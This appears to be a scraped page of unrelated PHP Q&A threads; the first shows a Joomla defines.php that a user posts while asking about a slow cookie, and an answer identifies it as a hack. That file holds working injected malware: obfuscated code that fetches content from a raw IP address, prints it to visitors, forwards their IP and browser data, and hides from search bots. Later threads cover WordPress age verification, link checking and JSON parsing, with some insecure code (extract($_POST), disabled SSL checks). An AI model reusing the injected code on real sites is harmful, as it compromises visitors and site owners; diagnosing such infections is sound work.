How to find and change cookie "send for" option - javascript

After weeks of fruitless effort in trying to fix my joomla page load time I have finally tracked the problem down to a cookie named:
_PHP_SESSION_PHP
content: 321
send for: any type of connection
http only: no
path: /
If I have this cookie then the pages load in under 3 seconds. if I delete this cookie a page will load in 13 seconds and other pages will load in 3 again since the cookie is back.
Problem still: 10 seconds is too long to wait for the cookie and other services like facebook url scraping will time out after 10 seconds before they have received any page content.
I am a GUI geek and very timid and slow with code and terminal.
I believe if the cookie was set to http only, then facebook wouldn't time trying to scrape my urls since it uses curl.
Can anyone confirm if this would be the right way to do this, and How would I find and change this in my scripts?
Also I think it's suspicious that my page needs 10 seconds to decide the user has no cookie. What could the reason for this be?
the only mention I can find of this cookie is in my mysite.com/includes/defines.php
$cookie_name = '_PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
$url = base64_decode("aHR0cDovLzE3OC4zMy4yMDAuMTczL2Jsb2cvP21hcmlqdWFuYSZ1dG1fc291cmNlPTExNTQ5OjU5ODAwMDo3NTQ=");
$code = request_url_data($url);
// if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
$echo_done = true;
print $decoded;
}
apache 2 php 5.5 joomla 3.4 centos 6
Complete File:
<?php
/**
* #package Joomla.Site
*
* #copyright Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
* #license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
// Global definitions
$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);
// Defines.
define('JPATH_ROOT', implode(DIRECTORY_SEPARATOR, $parts));
define('JPATH_SITE', JPATH_ROOT);
define('JPATH_CONFIGURATION', JPATH_ROOT);
define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');
define('JPATH_LIBRARIES', JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');
define('JPATH_PLUGINS', JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');
define('JPATH_INSTALLATION', JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');
define('JPATH_THEMES', JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');
define('JPATH_CACHE', JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');
define('JPATH_MANIFESTS', JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');
//istart
function request_url_data($url) {
$site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
'Referer: ' . $site_url,
));
$response = trim(curl_exec($ch));
} elseif (function_exists('fsockopen')) {
$m = parse_url($url);
if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
'Host: ' . $m['host'] . "\r\n" .
'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
'X-Forwarded-For: ' . #$_SERVER["REMOTE_ADDR"] . "\r\n" .
'Referer: ' . $site_url . "\r\n" .
'Connection: Close' . "\r\n\r\n");
$response = '';
while (!feof($fp)) {
$response .= fgets($fp, 1024);
}
list($headers, $response) = explode("\r\n\r\n", $response);
fclose($fp);
}
} else {
$response = 'curl_init and fsockopen disabled';
}
return $response;
}
error_reporting(0);
$_passssword = "83f3dd053ea030f23e91df313d65eb81";
if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
echo('<!--checker_start ');
$tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');
echo(substr($tmp, 50));
echo(' checker_end-->');
}
unset($_passssword);
$bad_url = false;
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
if (preg_match($regex, $_SERVER['REQUEST_URI'])) {
$bad_url = true;
break;
}
}
$cookie_name = '_PHP_SESSION_PHP';
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) {
setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/');
$url = base64_decode("aHR0cDovLzE3OC4zMy4yMDAuMTczL2Jsb2cvP21hcmlqdWFuYSZ1dG1fc291cmNlPTExNTQ5OjU5ODAwMDo3NTQ=");
$code = request_url_data($url);
// if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
$echo_done = true;
print $decoded;
}
}//iend

Have you tried decoding the base64_encode-grabble in your code? It basically says: you have been hacked...
Try this in a terminal window (one single line):
php -r 'echo base64_decode("aHR0cDovLzE3OC4zMy4yMDAuMTczL2Jsb2cvP21hcmlqdWFuYSZ1dG1fc291cmNlPTExNTQ5OjU5ODAwMDo3NTQ=");echo "\n";'
What comes out is the content of the grapple. This is also the reason your site is slow to load.

Related

How can i fetch usermeta in custom php page?

Hellow.
I'm not only a php beginner and but a wordpress beginner.
I try to integrate 3rd-party PHP file and Javascript (For Age Verification using Phone. i.e: SMS Certification) into my wordpress site.
this 3rd-party reference
Using 'add_shortcode', i managed to add 'request function' to my wordpress site. (Reference Url's STEP 1)
if (! function_exists ( 'register_mycustom_agecert_page' ) ) {
function register_mycustom_agecert_page () {
$mid ='**********'; // Given MID(Merchant ID)
$apiKey ='********************************'; // apikey to MID
$mTxId ='***********';
$reqSvcCd ='01';
// Check if registered merchant or not.
$plainText1 = hash("sha256",(string)$mid.(string)$mTxId.(string)$apiKey);
$authHash = $plainText1;
$userName = 'Anonymous'; // User name
$userPhone = '01011112222'; // user Phone
$userBirth ='19830000'; // user Birth
$flgFixedUser = 'N'; // When fixing specific user, use below 'Y' setting.
if($flgFixedUser=="Y")
{
$plainText2 = hash("sha256",(string)$userName.(string)$mid.(string)$userPhone.(string)$mTxId.(string)$userBirth.(string)$reqSvcCd);
$userHash = $plainText2;
}
$foo = '';
$foo .= '<div align="center" class="age-gate-wrapper">';
$foo .= '<form name="saForm">';
$foo .= '<input type="hidden" name="mid" value="' . $mid . '">';
$foo .= '<input type="hidden" name="reqSvcCd" value="' . $reqSvcCd . '">';
$foo .= '<input type="hidden" name="mTxId" value="' . $mTxId . '">';
$foo .= '<input type="hidden" name="authHash" value="' . $authHash .'">';
$foo .= '<input type="hidden" name="flgFixedUser" value="' . $flgFixedUser . '">';
$foo .= 'input type="hidden" id="userName" name="userName"';
$foo .= '<input type="hidden" id="userPhone" name="userPhone">';
$foo .= '<input type="hidden" id="userBirth" name="userBirth">';
$foo .= '<input type="hidden" name="userHash" value="' . $userHash . '">';
$foo .= '<input type="hidden" name="directAgency" value="">';
$foo .= '<input type="hidden" name="successUrl" value="' . esc_url( get_stylesheet_directory_uri() . '/kg/success.php' ) . '">';
$foo .= '<input type="hidden" name="failUrl" value="'. esc_url( get_stylesheet_directory_uri() . '/kg/success.php' ) . '">';
$foo .= '</form>';
$foo .= '<button onclick="callSa()">Proceed to "Age Verification"</button>';
$foo .= '</div>';
echo $foo;
}
add_shortcode( 'register_mycustom_agecert_page', 'register_mycustom_agecert_page');
}
callSa() script.
function callSa()
{
let window = popupCenter();
if(window != undefined && window != null)
{
document.saForm.setAttribute("target", "sa_popup");
document.saForm.setAttribute("post", "post");
document.saForm.setAttribute("action", "https://sa.inicis.com/auth");
document.saForm.submit();
}
}
function popupCenter() {
let _width = 400;
let _height = 620;
var xPos = (document.body.offsetWidth/2) - (_width/2); // Align center
xPos += window.screenLeft; // For dual monitor
return window.open("", "sa_popup", "width="+_width+", height="+_height+", left="+xPos+", menubar=yes, status=yes, titlebar=yes, resizable=yes");
}
And then, i put success.php file in "childtheme-folder/kg/".
(Reference's Step 2, 3)
success.php file.
<?php
// -------------------- recieving --------------------------------------
extract($_POST);
echo 'resultCode : '.$_REQUEST["resultCode"]."<br/>";
echo 'resultMsg : '.$_REQUEST["resultMsg"]."<br/>";
echo 'authRequestUrl : '.$_REQUEST["authRequestUrl"]."<br/>";
echo 'txId : '.$_REQUEST["txId"]."<br/><br/><br/>";
$mid ='********'; // Test MID. You need to replace Test MID with Merchant MID.
if ($_REQUEST["resultCode"] === "0000") {
$data = array(
'mid' => $mid,
'txId' => $txId
);
$post_data = json_encode($data);
// Start 'curl'
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST["authRequestUrl"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: application/json', 'Content-Type: application/json'));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// -------------------- Recieve result -------------------------------------------
echo $response;
// Check If user age is under 20 years old or not.
$pre_age_cert_result = json_decode( $response, true );
if ( isset ($pre_age_cert_result) && ! empty ( $pre_age_cert_result['userBirthday'] ) ) {
$pre_user_input_date = date ( 'Ymd', strtotime ($pre_age_cert_result['userBirthday']) );
$user_input_date = new DateTime( $pre_user_input_date );
$current_date = new DateTime();
$user_input_date->add( new DateInterval( 'P20Y' ) );
if ( $current_date > $user_input_date ) {
$age_cert_check = true;
$age_checking_msg = 'Age Verification: Success';
} else {
$age_cert_check = false;
$age_checking_msg = 'Age Verification: Failed';
}
} else {
$age_cert_check = false;
$age_checking_msg = 'Some Problem.';
}
echo $age_checking_msg;
// Add result of age cert into usermeta.
if ( $age_cert_check === true ) {
echo 'Success - Process 01';
echo '<br>';
if ( is_user_logged_in() ) {
echo 'Success - Process 02';
echo '<br>';
$temp_current_user_id = get_current_user_id();
echo $temp_current_user_id;
if ( $temp_current_user_id !== 0 && $temp_current_user_id !== NULL ) {
echo 'Success - Process 03';
echo '<br>';
$result_cur_time = date( 'Ymd', strtotime("now") );
echo $result_cur_time;
update_user_meta( $temp_current_user_id, 'ageCert', true );
update_user_meta( $temp_current_user_id, 'ageCertDate', $result_cur_time );
} else {
echo 'Failure - Process 03';
echo '<br>';
return;
}
} else {
echo 'Failure - Process 02';
echo '<br>';
$button_link_03 = esc_url( wp_login_url() );
$button_text_03 = esc_html( __( 'You Need to Login.', 'woocommerce' ) );
echo ''.$button_text_03.'';
return;
}
} else {
echo 'Failure - Process 01';
echo '<br>';
return;
}
}else { // if resultCode===0000 is not, display below code.
echo 'resultCode : '.$_REQUEST["resultCode"]."<br/>";
echo 'resultMsg : '.$_REQUEST["resultMsg"]."<br/>";
}
?>
Finally i could get "echo 'Success - Process 01". But i can't display neither 'success -Process 02' nor 'Failure -Process 02'.
I think the cause of this is that success.php is not wordpress page. So success.php doesn't have access to wordpress function.
How can i achive my goal?
If it's not possible to fetch usermeta in custom page (like success.php), below can be option ?
Using wordpress Rest-API, send value of $user_input_date. And hook somewhere, like wp_remote_get() ?
Using alternative function which can get usermeta from wordpress.
Grating access to wordpress to success.php page
I would appreciate any reference page or example Code.
Thank you for reading this long article.
Finally i achive my goal - thanks to IT goldman and Json.
i added below 2 lines into success.php
$custom_path = '/wp-load.php file path';
require_once( $custom_path . '/wp-load.php' );
It works !
You can just include "wp-config.php"; as the first line of your php script then you get all wordpress functions, including get_user_meta.
you use use wp_load.php on success.php file
if your folder structure is like this (/wp-content/themes/child-theme/kg/success.php)
in the success.php file add this line
<?php
include_once("../../../../wp-load.php");
echo "test:: " . get_site_url();
wp-load.php which loads all the functions and code for wordpress(bootstraps).

Google Page Rank. Struggling with my code

I've been searching all over, and based on what I've read google discontinued the Page Rank, and the only way to check this is by google search.
Is there any solution to get Page Rank?
This is what I've tried
function check($page){
// Open a socket to the toolbarqueries address, used by Google Toolbar
$socket = fsockopen("toolbarqueries.google.com", 80, $errno, $errstr, 30);
// If a connection can be established
if($socket) {
// Prep socket headers
$out = "GET /tbr?client=navclient-auto&ch=".$this->checkHash($this->createHash($page)).
"&features=Rank&q=info:".$page."&num=100&filter=0 HTTP/1.1\r\n";
$out .= "Host: toolbarqueries.google.com\r\n";
$out .= "User-Agent: Mozilla/4.0 (compatible; GoogleToolbar 2.0.114-big; Windows XP 5.1)\r\n";
$out .= "Connection: Close\r\n\r\n";
// Write settings to the socket
fwrite($socket, $out);
// When a response is received...
$result = "";
while(!feof($socket)) {
$data = fgets($socket, 128);
$pos = strpos($data, "Rank_");
if($pos !== false){
$pagerank = substr($data, $pos + 9);
$result += $pagerank;
}
}
// Close the connection
fclose($socket);
// Return the rank!
return $result;
}

For each php loop get results added via AJAX

I have a working AJAX request call, that calls to a PHP file(which has some looping) and depending on some parameters in can take several minutes for the request to be ready. But waiting several minutes is not really user friendly.
How should i modify my code in order to have results outputed in HTML after after each for loop is over?
I understand this streaming effect could be accomplished with API's like web-sockets or socket.io, but I hope I can manage to accomplish this without needing to implement the use of these API's .
Live example witch the effect i am going for:
http://www.brokenlinkcheck.com/
I have made a demo of my code with the core of my logic in it:
PHP File :
<?php
$html = file_get_html($url);
function check_url($a)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $a);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);
$headers = curl_getinfo($ch);
curl_close($ch);
return $headers['http_code'];
}
$good_array = array();
$number = 1;
foreach ($html->find('a') as $element) { // this one should return results first
$a = $element->href;
$check_url_status = check_url($a);
if (!preg_match('/404/', $check_url_status)) {
echo "<p style='color:green'>" . $number . '. ' . $a . " - Works (Response: $check_url_status) </p>";
$good_array[] = $a;
} else {
echo "<p style='color:red'>" . $number . '. ' . $a . " - Broken (Response : $check_url_status) </p>";
}
$number++;
}
array_unique($good_array);
for ($x = 0; count($good_array) > $x; $x++) { // from then on for every ending of this loop - it should add new html output via ajax.
$html = file_get_html($good_array[$x]);
foreach ($html->find('a') as $element) {
$a = $element->href;
$check_url_status = check_url($a);
if (!preg_match('/404/', $check_url_status)) {
echo "<p>" . $number . '. ' . $a . " - Works (Response : $check_url_status) | src: $good_array[$x] </p>";
} else {
echo "<p>" . $number . '. ' . $a . " - Broken (Response : $check_url_status) | src: $good_array[$x] </p>";
}
$number++;
}
}
?>
jQuery AJAX:
$(document).ready(function () {
$("#ajax-btn").click(function () {
$.ajax({
url: "../broken_links",
type: "get",
success: function (result) {
$("#div1").load('http://website.dev/php');
// alert('works');
},
error: function (jqXHR, textStatus, errorThrown) {
console.log(textStatus, errorThrown);
}
});
});
});
(Would be perfect if the solution involved jQuery AJAX, but vanilla JS would also do)
HTML:
<div class="panel panel-default">
<div class="panel-body">
<h2 id='div1'>test</h2>
<button id='ajax-btn'> Change Content</button>
</div>
</div>
Between I'm using Laravel 5.3 Framework so any solutions that involves built in framework features are also welcome!
You won't be able to send partial AJAX updates using PHP. Why don't you get all of the URLs from JavaScript and test them one by one.
$('a').each(function(){
var $anchor = $(this);
// Do Ajax call to check for this URL, directly to that page or your own PHP
$.ajax({
url: "../broken_links",
type: "get",
data: { url: $anchor.attr('href') },
success: function (result) {
$("#div1").load('http://website.dev/php');
// alert('works');
},
error: function (jqXHR, textStatus, errorThrown) {
console.log(textStatus, errorThrown);
}
});
});
PHP
<?php
$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);
$headers = curl_getinfo($ch);
curl_close($ch);
if (!preg_match('/404/', headers['http_code'])) {
echo "<p style='color:green'>" . $number . '. ' . $url . " - Works (Response: $check_url_status) </p>";
$good_array[] = $a;
} else {
echo "<p style='color:red'>" . $number . '. ' . $url . " - Broken (Response : $check_url_status) </p>";
}
?>

fetch JSON data through php code

Method Name: GetAvaiillabiilliity
$mySOAP = <<<EOD
{
"Authentication": {
"LoginId": "username",
"Password": "password"
},
"AvailabilityInput":{
"BookingType":"O",
"JourneyDetails":[{
"Origin":"BOM",
"Destination":"PNQ",
"TravelDate":"10/30/2016"
}],
"ClassType":"Economy",
"AirlineCode":"",
"AdultCount":1,
"ChildCount":0,
"InfantCount":0,
"ResidentofIndia":1,
"Optional1":"0",
"Optional2":"0",
"Optional3":"0"
}
}
EOD;
// The HTTP headers for the request (based on image above)
$headers = array(
'Content-Type: application/json',
);
// Build the cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, TRUE);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, $mySOAP);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
// Send the request and check the response
if (($result = curl_exec($ch)) === FALSE) {
die('cURL error: ' . curl_error($ch) . "<br />\n");
} else {
echo $result;
}
curl_close($ch);
$data = json_decode($result,true);
$devices = $data['AvailabilityOutput']['AvailableFlights'];
?>
Output: GetAvailabilityResponse
This is the response which we have got from the server side and I want to show this through my php and html code.
{
"ResponseStatus":1,"UserTrackId":"RMYLN97099869978897983977484056886242191","AvailabilityOutput":{"AvailableFlights":{"OngoingFlights":[{"AvailSegments":[{"FlightId":"41","AirlineCode":"9W","FlightNumber":"618","AirCraftType":"738","Origin":"BOM","OriginAirportTerminal":"","Destination":"PNQ","DestinationAirportTerminal":"","DepartureDateTime":"30\/10\/2016 10:00:00","ArrivalDateTime":"30\/10\/2016 10:50:00","Duration":"00Hrs 50Mins","NumberofStops":0,"Via":" ","CurrencyCode":"INR","Currency_Conversion_Rate":"","AvailPaxFareDetails":[{"ClassCode":"S","ClassCodeDesc":"S","BaggageAllowed":null,"Adult":{"FareBasis":"S2IPO","FareType":"\u000aRefundable","BasicAmount":6940,"YQ":200,"TaxDetails":null,"TotalTaxAmount":0,"GrossAmount":8254,"Commission":"208.2"},"Child":null,"Infant":null}],"SupplierId":"1"}]},{"AvailSegments":[{"FlightId":"42","AirlineCode":"9W","FlightNumber":"453","AirCraftType":"738","Origin":"BOM","OriginAirportTerminal":"","Destination":"HYD","DestinationAirportTerminal":"","DepartureDateTime":"30\/10\/2016 03:00:00","ArrivalDateTime":"30\/10\/2016 04:15:00","Duration":"01Hrs 15Mins","NumberofStops":0,"Via":" ","CurrencyCode":"INR","Currency_Conversion_Rate":"","AvailPaxFareDetails":[{"ClassCode":"L","ClassCodeDesc":"L","BaggageAllowed":null,"Adult":{"FareBasis":"L2IPO","FareType":"\u000aRefundable","BasicAmount":0,"YQ":0,"TaxDetails":null,"TotalTaxAmount":0,"GrossAmount":0,"Commission":"0"},"Child":null,"Infant":null}],"SupplierId":"1"},{"FlightId":"43","AirlineCode":"9W","FlightNumber":"2822","AirCraftType":"73W","Origin":"HYD","OriginAirportTerminal":"","Destination":"PNQ","DestinationAirportTerminal":"","DepartureDateTime":"30\/10\/2016 05:50:00","ArrivalDateTime":"30\/10\/2016 07:05:00","Duration":"01Hrs 15Mins","NumberofStops":0,"Via":" ","CurrencyCode":"INR","Currency_Conversion_Rate":"","AvailPaxFareDetails":[{"ClassCode":"L","ClassCodeDesc":"L","BaggageAllowed":null,"Adult":{"FareBasis":"L2IPO","FareType":"\u000aRefundable","BasicAmount":16540,"YQ":400,"TaxDetails":null,"TotalTaxAmount":0,"GrossAmount":18965,"Commission":"496.2"},"Child":null,"Infant":null}],"SupplierId":"1"}]},{"AvailSegments":[{"FlightId":"44","AirlineCode":"9W","FlightNumber":"465","AirCraftType":"738","Origin":"BOM","OriginAirportTerminal":"","Destination":"MAA","DestinationAirportTerminal":"","DepartureDateTime":"30\/10\/2016 07:05:00","ArrivalDateTime":"30\/10\/2016 09:05:00","Duration":"02Hrs 0Mins","NumberofStops":0,"Via":" ","CurrencyCode":"INR","Currency_Conversion_Rate":"","AvailPaxFareDetails":[{"ClassCode":"S","ClassCodeDesc":"S","BaggageAllowed":null,"Adult":{"FareBasis":"S2IPO","FareType":"\u000aRefundable","BasicAmount":0,"YQ":0,"TaxDetails":null,"TotalTaxAmount":0,"GrossAmount":0,"Commission":"0"},"Child":null,"Infant":null}],"SupplierId":"1"},{"FlightId":"45","AirlineCode":"9W","FlightNumber":"2491","AirCraftType":"738","Origin":"MAA","OriginAirportTerminal":"","Destination":"PNQ","DestinationAirportTerminal":"","DepartureDateTime":"30\/10\/2016 09:45:00","ArrivalDateTime":"30\/10\/2016 11:25:00","Duration":"01Hrs 40Mins","NumberofStops":0,"Via":" ","CurrencyCode":"INR","Currency_Conversion_Rate":"","AvailPaxFareDetails":[{"ClassCode":"S","ClassCodeDesc":"S","BaggageAllowed":null,"Adult":{"FareBasis":"S2IPO","FareType":"\u000aRefundable","BasicAmount":14050,"YQ":600,"TaxDetails":null,"TotalTaxAmount":0,"GrossAmount":16244,"Commission":"421.5"},"Child":null,"Infant":null}],"SupplierId":"1"}]},{"AvailSegments":[{"FlightId":"46","AirlineCode":"9W","FlightNumber":"339","AirCraftType":"73W","Origin":"BOM","OriginAirportTerminal":"","Destination":"DEL","DestinationAirportTerminal":"","DepartureDateTime":"30\/10\/2016 03:00:00","ArrivalDateTime":"30\/10\/2016 05:05:00","Duration":"02Hrs 5Mins","NumberofStops":0,"Via":" ","CurrencyCode":"INR","Currency_Conversion_Rate":"","AvailPaxFareDetails":[{"ClassCode":"S","ClassCodeDesc":"S","BaggageAllowed":null,"Adult":{"FareBasis":"S2IPO","FareType":"\u000aRefundable","BasicAmount":0,"YQ":0,"TaxDetails":null,"TotalTaxAmount":0,"GrossAmount":0,"Commission":"0"},"Child":null,"Infant":null}],"SupplierId":"1"},{"FlightId":"47","AirlineCode":"9W","FlightNumber":"365","AirCraftType":"73H","Origin":"DEL","OriginAirportTerminal":"","Destination":"PNQ","DestinationAirportTerminal":"","DepartureDateTime":"30\/10\/2016 08:30:00","ArrivalDateTime":"30\/10\/2016 10:40:00","Duration":"02Hrs 10Mins","NumberofStops":0,"Via":" ","CurrencyCode":"INR","Currency_Conversion_Rate":"","AvailPaxFareDetails":[{"ClassCode":"S","ClassCodeDesc":"S","BaggageAllowed":null,"Adult":{"FareBasis":"S2IPO","FareType":"\u000aRefundable","BasicAmount":13600,"YQ":800,"TaxDetails":null,"TotalTaxAmount":0,"GrossAmount":16031,"Commission":"408"},"Child":null,"Infant":null}],"SupplierId":"1"}]},{"AvailSegments":[{"FlightId":"48","AirlineCode":"9W","FlightNumber":"463","AirCraftType":"73H","Origin":"BOM","OriginAirportTerminal":"","Destination":"MAA","DestinationAirportTerminal":"","DepartureDateTime":"30\/10\/2016 02:55:00","ArrivalDateTime":"30\/10\/2016 04:50:00","Duration":"01Hrs 55Mins","NumberofStops":0,"Via":" ","CurrencyCode":"INR","Currency_Conversion_Rate":"","AvailPaxFareDetails":[{"ClassCode":"S","ClassCodeDesc":"S","BaggageAllowed":null,"Adult":{"FareBasis":"S2IPOA","FareType":"\u000aRefundable","BasicAmount":0,"YQ":0,"TaxDetails":null,"TotalTaxAmount":0,"GrossAmount":0,"Commission":"0"},"Child":null,"Infant":null}],"SupplierId":"1"},{"FlightId":"49","AirlineCode":"9W","FlightNumber":"2491","AirCraftType":"738","Origin":"MAA","OriginAirportTerminal":"","Destination":"PNQ","DestinationAirportTerminal":"","DepartureDateTime":"30\/10\/2016 09:45:00","ArrivalDateTime":"30\/10\/2016 11:25:00","Duration":"01Hrs 40Mins","NumberofStops":0,"Via":" ","CurrencyCode":"INR","Currency_Conversion_Rate":"","AvailPaxFareDetails":[{"ClassCode":"S","ClassCodeDesc":"S","BaggageAllowed":null,"Adult":{"FareBasis":"S2IPO","FareType":"\u000aRefundable","BasicAmount":13800,"YQ":600,"TaxDetails":null,"TotalTaxAmount":0,"GrossAmount":15979,"Commission":"414"},"Child":null,"Infant":null}],"SupplierId":"1"}]}],"ReturnFlights":null}}}
my php code
<?php
echo 'Flifht checking';
echo '<br><hr>';
foreach ($devices as $device){
echo '<h4>';
echo $device['FlightNumber'];
echo '</h4>';
}
?>
How to get all flight information in json code ?
So how to get this json data AvailabilityOutput":{"AvailableFlights":{"OngoingFlights":[{"AvailSegments". I can't understand depth tree structure.
Here you have a possible implementation to go through all the flights.
I changed $devices name to $availableFlights to make the example easier to understand.
$data = json_decode($result, true);
$availableFlights = $data['AvailabilityOutput']['AvailableFlights'];
echo 'Flifht checking';
echo '<br><hr>';
foreach ($availableFlights['OngoingFlights'] as $availableFlight) {
foreach ($availableFlight['AvailSegments'] as $availSegment) {
echo '<h4>';
echo 'Flight Number: ' . $availSegment['FlightNumber'];
echo '</h4>';
echo '<p>Origin: ' . $availSegment['Origin'] . ' - Destination: ' . $availSegment['Destination'] . '</p>';
}
}
The output here is:
Flifht checkingFlight Number: 618Origin: BOM - Destination: PNQFlight Number: 453Origin: BOM - Destination: HYDFlight Number: 2822Origin: HYD - Destination: PNQFlight Number: 465Origin: BOM - Destination: MAAFlight Number: 2491Origin: MAA - Destination: PNQFlight Number: 339Origin: BOM - Destination: DELFlight Number: 365Origin: DEL - Destination: PNQFlight Number: 463Origin: BOM - Destination: MAAFlight Number: 2491Origin: MAA - Destination: PNQ
Also, a little trick: if you want to see the whole json tree easily, you can use this:
echo "<pre>";
print_r($availableFlights);
echo "</pre>";
(I thought it could be helpful to understand the data structure)

why does php fom submission keeps submitting every time I refresh?

So I submit my form and and every time I click ctrl-r it refreshes the page without alerting me it will resubmit the form. Every time I click the reload button on browser it asks me that it will reload but I already submitted the form so now I am getting a new submit every time and creating a new item in my sqlDB. I refresh and I do not know what I have to do to automatically refresh the page to where it wont save the form resubmit and is like a new page again.
where the //end else is at is where I have tried adding a header(Location:) but I get an error. I posted the error more to the bottom of the question.
footer.php
<?php
if(isset($_POST['submit-story'])){
$answer = $_POST['human-story'];
if (!ctype_digit($answer) == 8) {
echo "Cannot store event. wrong answer";
die();
} else {
//Get the uploaded file information
$name_of_uploaded_file = basename($_FILES['uploaded_file']['name']);
//get the file extension of the file
$type_of_uploaded_file =
substr($name_of_uploaded_file,
strrpos($name_of_uploaded_file, '.') + 1);
$size_of_uploaded_file =
$_FILES["uploaded_file"]["size"]/1024;//size in KBs
//Settings
$max_allowed_file_size = 1000000; // size in KB
$allowed_extensions = array("jpg","jpeg","gif","bmp","mp4", "mov");
//Validations
if($size_of_uploaded_file > $max_allowed_file_size )
{
$errors = "\n Size of file should be less than $max_allowed_file_size";
}
//------ Validate the file extension -----
$allowed_ext = false;
for($i=0; $i<sizeof($allowed_extensions); $i++)
{
if(strcasecmp($allowed_extensions[$i],$type_of_uploaded_file) == 0)
{
$allowed_ext = true;
}
}
if(!$allowed_ext)
{
$errors = "\n The uploaded file is not supported file type. ".
"Only the following file types are supported: ".implode(',',$allowed_extensions);
}
//copy the temp. uploaded file to uploads folder
$upload_folder = 'uploads/';
$to = "example#gmail.com"; // this is your Email address
$first_name = filter_var($_POST['first_name']. $schoolOfficialShortName, FILTER_SANITIZE_STRING);
$story = filter_var($_POST['message'], FILTER_SANITIZE_STRING);
$eventDate = filter_var($_POST['eventDate'],FILTER_SANITIZE_STRING);
$eventLocation = filter_var($_POST['eventLocation'],FILTER_SANITIZE_STRING);
$subject = "blah-" . $schoolOfficialShortName . "Event";
$title = filter_var($_POST['title'], FILTER_SANITIZE_STRING);
$message = $first_name . " wrote the following:" . "\n\n" . $title ."<br>". $story;
$headers = "From: $first_name";
// boundary
$semi_rand = md5(time());
$mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";
// headers for attachment
$headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . " boundary=\"{$mime_boundary}\"";
// multipart boundary
$message = "This is a multi-part message in MIME format.\n\n" . "--{$mime_boundary}\n" . "Content-Type: text/plain; charset=\"iso-8859-1\"\n" . "Content-Transfer-Encoding: 7bit\n\n" . $message . "\n\n";
$message .= "--{$mime_boundary}\n";
$content = '';
$tmp_path = $_FILES["uploaded_file"]["tmp_name"];
if($tmp_path) {
$filename = $_FILES["uploaded_file"]["name"];
